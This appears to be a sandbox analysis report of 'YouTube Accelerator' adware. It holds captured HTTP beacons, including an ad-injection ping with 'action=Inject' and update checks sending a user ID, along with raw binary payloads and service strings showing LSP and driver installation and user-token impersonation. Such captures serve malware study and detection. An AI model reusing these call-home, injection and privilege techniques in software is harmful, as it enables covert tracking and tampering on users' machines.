Referer: hXXp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://VVV.youtubeaccelerator.com&xdm_c=default8849&xdm_p=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 09:34:40 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Sun, 23 Nov 2014 15:58:52 GMT

ETag: W/"eab48060367d01:0"

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\Xnc...j.up....@..4..L4a...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...=-..(z.O[I9x.....g..0...H.;...m...9N..,A>....[.....]9.".q.Q|.&
lt;..f.:.Lzuj..fj*......5.........9`..AG.|...BW...V...6.9kD.7....\....
.ax?.$C.4.k.../.Uhe..z.;Z]O'.fc..<.....V.i~xx....Q{...Y~q.N../!...K
i....&......I.}.ZmM..4...r`.&..D...3_9..h?.....R.A)....U.l......f....r
~.<.-..T.....2.%..R..S..y!.=_...4Z.>.Q.r.......e6R=.......h.i..V
...1..m.v .....;.G8..cp0,E#.....o_f.o.....^w......F.S...&_.}.$....<<< skipped >>>

GET /res/helper.min.js?v=230&domain=zb8da386b03122aa41bea079711f430f5zce210e711f94f3dfb9aba8a77e2128c8z270e890f3e9baacc96c0d9428a3195d7zfa7c8af5304a3392922f34e32b677892zf5dde6ea6b27bdcacbac28274daf3a00ze3a52fd8f8d85a0733e461f9a6fd8f2dz50cfd0ac63ed9d9916963ee201fbb0b7z732a17dd70f8fe3c0de4230a126fd8a5&geo=UA HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 09:34:41 GMT

Content-Type: application/x-javascript

Content-Length: 0

Connection: keep-alive

Cache-Control: public, max-age=3600, s-maxage=31536000

Expires: Wed, 07 Jan 2015 09:37:59 GMT

ETag: D41D8CD98F00B204E9800998ECF8427E

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

HTTP/1.1 200 OK..Date: Wed, 07 Jan 2015 09:34:41 GMT..Content-Type: ap
plication/x-javascript..Content-Length: 0..Connection: keep-alive..Cac
he-Control: public, max-age=3600, s-maxage=31536000..Expires: Wed, 07 
Jan 2015 09:37:59 GMT..ETag: D41D8CD98F00B204E9800998ECF8427E..X-AspNe
t-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2.
.X-Cache: HIT..

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1420623208&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=iu4uyr55ojj1ilz5use5lq45


HTTP/1.1 200 OK

Connection: close

Date: Wed, 07 Jan 2015 09:33:50 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...

GET /app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQJFr7qb9z8c2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi&product=EXTBHO&bhov=1.0.1.4&rnd=2983&action=Inject&text=DealPly&usid=2858020935-2156992550-3658131804&pixguid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&it=12 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:35:03 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 20
15 09:35:03 GMT..Content-Length: 0..

GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1

Cache-Control: max-age = 812

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 23 Oct 2014 05:05:32 GMT

If-None-Match: "a2f3ff97eeecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Wed, 07 Jan 2015 06:02:43 GMT

Accept-Ranges: bytes

ETag: "88c4768d3f2ad01:0"

Server: Microsoft-IIS/8.0

VTag: 791450244700000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 813

Cache-Control: max-age=900

Date: Wed, 07 Jan 2015 09:35:12 GMT

Connection: keep-alive
0..)0......0...*.H........0_1.0.....&...,d....com1.0.....&...,d....mic
rosoft1-0 ..U...$Microsoft Root Certificate Authority..150106214825Z..
150407100825Z0.0...a......../..100208014912Z._0]0...U.#..0......`@V'..
%..*..S.Y..0... .....7.......0...U......(0... .....7......150406215825
Z0...*.H..............vQ..r..L.Q.N..=#.......V;..r../\.m..<.."...F/
U....(:.....xm.....P.e.F..BE8......=...G....6t:...?...L..B.v..p.M.....
...z..Q.%J.6..I.......8...U. .g..=T=K....L..$w...^....y~..-a.'...*s#N.
o..Qs.$h..:duV'~....8.6..w..b3.... .~)...|.I.y".>R.nJq.ws...3.....f
}.E)\......EB.d\.2.....h...lMjT.7..lj.'lj.b....".L.Os6{.s...@....f.|7z
.. ......>..Q...(......._....UM.EN.@.K\]#..Y.*.......T. .C.....A'..
5FW.ETDvX..tE.....g5.....&..&.....x.^H;...../7..'9.t.I&<[.HX.j....Q
w......}...qy3..q`<.....LB.9w|....;..Qw..a ..=.C.:.........


GET /pki/crl/products/WinPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Mon, 06 Oct 2014 05:06:02 GMT

If-None-Match: "3e1c83923e1cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Sun, 21 Dec 2014 06:03:02 GMT

Accept-Ranges: bytes

ETag: "d2e35dc7e31cd01:0"

Server: Microsoft-IIS/8.0

VTag: 27948442200000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 561

Cache-Control: max-age=900

Date: Wed, 07 Jan 2015 09:35:13 GMT

Connection: keep-alive
0..-0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U
....Redmond1.0...U....Microsoft Corporation1 0)..U..."Microsoft Window
s Verification PCA..141220223154Z..150321105154Z._0]0...U.#..0.......p
............<.J0... .....7.......0...U......30... .....7......15032
0224154Z0...*.H.............h.~oH#i.J.vh_.....A'B..g...........F....9c
.{.m@Q.M.p...g.^ 4.r..Wv.Q.0.w..j....c9..w....I..%.~.l..F.......xo....
_...o...7BR.;<..\R/ .....b.(....~..]|.v.u.i.X.B....I......./*...P..
A..fi.}& .x.v{TFP[.G......A......L.o...)R.......V.u..V.../.Q..(L.]....
.uki~......


GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Sat, 04 Oct 2014 05:06:12 GMT

If-None-Match: "58cddbea90dfcf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Fri, 19 Dec 2014 06:02:00 GMT

Accept-Ranges: bytes

ETag: "9a9a44d511bd01:0"

Server: Microsoft-IIS/8.0

VTag: 279252244600000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 550

Cache-Control: max-age=900

Date: Wed, 07 Jan 2015 09:35:13 GMT

Connection: keep-alive

0.."0......0...*.H........0w1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1!0...U....Microsoft Time-St
amp PCA..141218221600Z..150319103600Z._0]0...U.#..0...#4..RFp..@.v.. .
.5..0... .....7.......0...U......10... .....7......150318222600Z0...*.
H............./..0Q~.r.}.E....&\....F.Z.C..#..F.s........<&\..9G..-
....j..N... .C.Fk....;l.....2.K5D.........-.>...(...g.0.S.[?...T4q&
gt;.ln...z..L.......5.5s@d.q.('..e...Y..Bo..q..........I....'....i>
..y:.eH@h`..\...UA.m#.~.. ;.3..d..;..<..........p..s..J..N `Az.....
.@..lHTTP/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modifie
d: Fri, 19 Dec 2014 06:02:00 GMT..Accept-Ranges: bytes..ETag: "9a9a44d
511bd01:0"..Server: Microsoft-IIS/8.0..VTag: 279252244600000000..P3P: 
CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR S
AMo CNT COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Conte
nt-Length: 550..Cache-Control: max-age=900..Date: Wed, 07 Jan 2015 09:
35:13 GMT..Connection: keep-alive..0.."0......0...*.H........0w1.0...U
....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corp
oration1!0...U....Microsoft Time-Stamp PCA..141218221600Z..15031910360
0Z._0]0...U.#..0...#4..RFp..@.v.. ..5..0... .....7.......0...U......10
... .....7......150318222600Z0...*.H............./..0Q~.r.}.E....&\...
.F.Z.C..#..F.s........<&\..9G..-....j..N... .C.Fk....;l.....2.K5D..
.......-.>...(...g.0.S.[?...T4q>.ln...z..L.......5.5s@d.q.('..e.
..Y..Bo..q..........I....'....i>..y:.eH@h`..\...UA.m#.~.. ;.3..

<<< skipped >>>

GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=765184&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:50 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`.$..@.........iG#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Wed, 07
 Jan 2015 09:33:50 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`.$..@.........iG#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=407808-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1223424

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 407808-1631231/1631232

Age: 2131

X-Cache: Hit from cloudfront

Via: 1.1 e985f18640f58cd27a9756c50a97a37d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gAzxrmsSgTxBG4pyNCT7DXZtrx8sd2dyHRxy99Ip1ZeJvqnrh4qs9Q==
..E..}...P.u. .VWj.h......\.G.......M....E.3......J.;.......L.0.E..].;
E.t.P..,..Y...t......n....}..ty.u.... .........G;.sUj..E....._...f;E.t
3f;.t.f...........B.;.s.j....Xf9.t.j.XP_f.....;.r....E......J..L....E.
.. .....d.....t..M.j.Zf9..U.u.....$..D...E.....8.E..M.;..._...j.Y.E...
.......f;E...&...f;.t.f...'.E....;.s(j.Zf9W..U.u.j.X...f.......f......
.......j..E.Pj..E.P.....J.....4...$.G...u...`.G..........}.........U..
....J..D..HtRj.Xj.f9E.u.f......3Xf.......J..E..D.......J..E..D.%.....J
.j.Y....L.&j.Y;}........l;u.u.j.Xf9E.u.f.......j.j.j..u..o....U....j.X
f9E.t.j.Yf........U.j.Yf............J..D...@u....D....f..f......E... .
.......`.G.j.^;.u..................0.......m......3......3.........8..
................._^[..jdh..H......j..A...Y3..].j@j _W.R...YY...M...u.j
..E.PhX.I.............U......J..=..J......;.s1f.A.......Y..a$..A$$..A$
f.A%...Y8.Y4..@.M....J....E.P..\.G.f.}....)....E............M.....E...
.E......;.|....M.3.F.u.9...J.} j@W.....YY...M.............J..M....}..E
..U.;........2...tX...tS....tM..u.V....G..U...t8..............4...J..u
......E....F.h.....F.P....G..F..U..M.G.}..E.@.E.....U........J..=..J..
....J......;.s$f.A.......Y..a$.f.A%...Y8.Y4..@.M...F.u..M.......].....
...........5..J..u..>.t..>.t...F....F.......F....u.j.X...C......
..P....G......tE..tAW....G...t6.>%.......u...F..@.....u...F....F.h.
....F.P....G..F.."..F..@.F..........J...t.....@.....C.<....E.......
...3.......j......Y.U..W.}...u.............I.........G..........@.....
...t... .G..........G......u.W.*<..Y...G....w..w.W.9...YP.K....<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623186&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive


HTTP/1.1 200 OK

Connection: close

Date: Wed, 07 Jan 2015 09:33:27 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=zsogsl45bc1l1kixlfy4ncfd; path=/; HttpOnly

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...

The Application connects to the servers at the folowing location(s):

YouTubeAcceleratorService.exe_2504:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

t9.tZ

uB9.tF

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CAcceleratorService::ExecuteServerAsWD] Exit

[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup

\\.\pipe\GOOBZO_VAPIPESERVERENG

[CAcceleratorService::ExecuteServerAsWD] Enter

[CAcceleratorService::CreateEngineThread] Create thread result %d

[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d

[CAcceleratorService::StopServiceExitMode] Name: %s

[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d

[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d

[CAcceleratorService::ExecuteServer] Leave

[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD

[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d

[CAcceleratorService::ExecuteServer] Enter

%d.%d.%d.%d

Name: %s

Path: %s

Version: %s

%s_%d.log

[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s

[CAcceleratorService::UninstallDriver] Driver name: %s

[CAcceleratorService::InstallLsp] Module not found - LE: %d

[CAcceleratorService::InstallLsp] Function Install not found - LE: %d

[CAcceleratorService::InstallLsp] Module path: %s

[CAcceleratorService::UninstallLsp] Module not found - LE: %d

[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d

[CAcceleratorService::UninstallLsp] Module path: %s

[CAcceleratorService::RunCommand] Command: %d

[CLSPKeepAlive::GetLastLSPTestStatus] return %d

[CLSPKeepAlive::CheckOurLSPStatus]

[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!

[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***

[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CDriverManager::CreateDriver] CreateService failed: %d

Tcpip

[CDriverManager::CreateDriver] Name: %s, Path: %s

[CDriverManager::Install] OpenSCManager failed: %d

[CDriverManager::Install] Name: %s, Path: %s

[CDriverManager::DeleteDriver] DeleteService failed: %d

[CDriverManager::DeleteDriver] OpenService failed: %d

[CDriverManager::DeleteDriver] Name: %s

[CDriverManager::UnInstall] OpenSCManager failed: %d

[CDriverManager::UnInstall] Name: %s

[CDriverManager::StartDriver] OpenService failed: %d

[CDriverManager::StartDriver] Name: %s

[CDriverManager::Load] OpenSCManager failed: %d

[CDriverManager::Load] Name: %s

[CDriverManager::StopDriver] OpenService failed: %d

[CDriverManager::StopDriver] Name: %s

[CDriverManager::UnLoad] OpenSCManager failed: %d

[CDriverManager::UnLoad] Name: %s

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

engine.dll

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

ipc.dll

xmldb.dll

config.xml

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

